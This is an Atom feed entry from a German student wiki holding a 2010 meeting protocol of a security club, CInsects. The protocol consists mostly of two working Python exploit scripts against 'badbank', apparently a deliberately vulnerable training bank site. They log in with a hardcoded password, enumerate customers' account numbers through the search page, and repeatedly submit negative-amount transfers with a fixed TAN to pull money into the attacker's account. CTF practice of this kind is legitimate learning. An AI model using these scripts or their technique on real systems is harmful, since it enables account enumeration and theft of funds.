<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.mafiasi.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=91.3.89.194</id>
	<title>Fachschaft Informatik - Benutzerbeiträge [de]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.mafiasi.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=91.3.89.194"/>
	<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php/Spezial:Beitr%C3%A4ge/91.3.89.194"/>
	<updated>2026-10-17T07:35:33Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.46.2</generator>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-16&amp;diff=11265</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-16</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-16&amp;diff=11265"/>
		<updated>2010-11-16T22:57:26Z</updated>

		<summary type="html">&lt;p&gt;91.3.89.194: Beispiel fuer gevent eingefuegt&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Exploit =&lt;br /&gt;
&lt;br /&gt;
== Ein moeglicher Exploit ==&lt;br /&gt;
Haesslicher Quelltext:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import urllib&lt;br /&gt;
import cookielib&lt;br /&gt;
import re&lt;br /&gt;
from itertools import product&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
data = urllib.urlencode({&lt;br /&gt;
    &#039;user&#039;: &#039;Jan&#039;,&lt;br /&gt;
    &#039;password&#039;: &#039;AZyNEBAeTC&#039;&lt;br /&gt;
})&lt;br /&gt;
request = urllib2.urlopen(url + &#039;/index.php&#039;, data)&lt;br /&gt;
login = request.read()&lt;br /&gt;
&lt;br /&gt;
def alpha_beta_liste():&lt;br /&gt;
    return [a+b for a, b in product(string.lowercase, string.lowercase)]&lt;br /&gt;
&lt;br /&gt;
def search(params):&lt;br /&gt;
    print params&lt;br /&gt;
    req = urllib2.urlopen(url + &#039;/index.php?page=search&#039;, params)&lt;br /&gt;
    suche = req.read()&lt;br /&gt;
    result = ktnre.findall(suche)&lt;br /&gt;
    if result:&lt;br /&gt;
        name_nummer_list.append(result)&lt;br /&gt;
    print name_nummer_list&lt;br /&gt;
&lt;br /&gt;
def transfer(kontonummer, betrag, tan_id, tan):&lt;br /&gt;
    params = urllib.urlencode({&#039;account&#039;: kontonummer, &#039;amount&#039;: betrag, &#039;tan_id&#039;: tan_id, &#039;tan&#039;: tan})&lt;br /&gt;
    req = urllib2.urlopen(url + &#039;/index.php?page=transfer&#039;, params)&lt;br /&gt;
    seite = req.read()&lt;br /&gt;
    if erfolg.findall(seite):&lt;br /&gt;
        print &amp;quot;Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen.&amp;quot; % (name, -betrag)&lt;br /&gt;
    else:&lt;br /&gt;
        print &amp;quot;Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden.&amp;quot; % name&lt;br /&gt;
    &lt;br /&gt;
alphabeta  = alpha_beta_liste()&lt;br /&gt;
ktnre = re.compile(&#039;&amp;lt;td&amp;gt;(.*)&amp;lt;/td&amp;gt;&#039;)&lt;br /&gt;
betrag = -10&lt;br /&gt;
tan_id = 500&lt;br /&gt;
tan = 700338&lt;br /&gt;
erfolg = re.compile(&amp;quot;&amp;lt;h2&amp;gt;Erfolgreiche Ueberweisung!&amp;lt;/h2&amp;gt;&amp;quot;)&lt;br /&gt;
name_nummer_list = []&lt;br /&gt;
&lt;br /&gt;
for name in alphabeta:&lt;br /&gt;
    print name&lt;br /&gt;
    params = urllib.urlencode({&#039;name&#039;: name})&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            search(params)&lt;br /&gt;
            break&lt;br /&gt;
        except urllib2.URLError, e:&lt;br /&gt;
            print &amp;quot;Fehler aufgetreten&amp;quot; + e&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    for elem in name_nummer_list:&lt;br /&gt;
        name, kontonummer = elem&lt;br /&gt;
&lt;br /&gt;
        while True:&lt;br /&gt;
            try:&lt;br /&gt;
                transfer(kontonummer, betrag, tan_id, tan)&lt;br /&gt;
                break&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Schnelles auslesen der Kontonummern ueber gevent ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from gevent import monkey&lt;br /&gt;
monkey.patch_socket()&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import urllib&lt;br /&gt;
import cookielib&lt;br /&gt;
import string&lt;br /&gt;
import re&lt;br /&gt;
from itertools import product, chain&lt;br /&gt;
import gevent&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
&lt;br /&gt;
def login(user, password):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;user&#039;: user,&lt;br /&gt;
        &#039;password&#039;: password&lt;br /&gt;
    })&lt;br /&gt;
    urllib2.urlopen(url + &#039;/index.php&#039;, params)&lt;br /&gt;
&lt;br /&gt;
# Wir interessieren und nur fuer die Kontonummern&lt;br /&gt;
account_re = re.compile(&#039;&amp;lt;td&amp;gt;\w+&amp;lt;/td&amp;gt;\n&amp;lt;td&amp;gt;(\d+)&amp;lt;/td&amp;gt;&#039;)&lt;br /&gt;
def fetch_accounts(searchterm):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;name&#039;: searchterm&lt;br /&gt;
    })&lt;br /&gt;
    data = urllib2.urlopen(url + &#039;/index.php?page=search&#039;, params).read()&lt;br /&gt;
    return account_re.findall(data)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    login(&#039;Jan&#039;, &#039;AZyNEBAeTC&#039;)&lt;br /&gt;
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]&lt;br /&gt;
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]&lt;br /&gt;
    gevent.joinall(jobs, timeout=120)&lt;br /&gt;
    # Ergebnisse lesen und Liste flachklopfen&lt;br /&gt;
    accounts = list(chain(*[job.value for job in jobs]))&lt;br /&gt;
    print accounts&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zeitmessung (&amp;lt;math&amp;gt;26^2 + 1 = 677&amp;lt;/math&amp;gt; HTTP-Requests):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
real	0m19.563s&lt;br /&gt;
user	0m1.356s&lt;br /&gt;
sys	0m0.240s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>91.3.89.194</name></author>
	</entry>
</feed>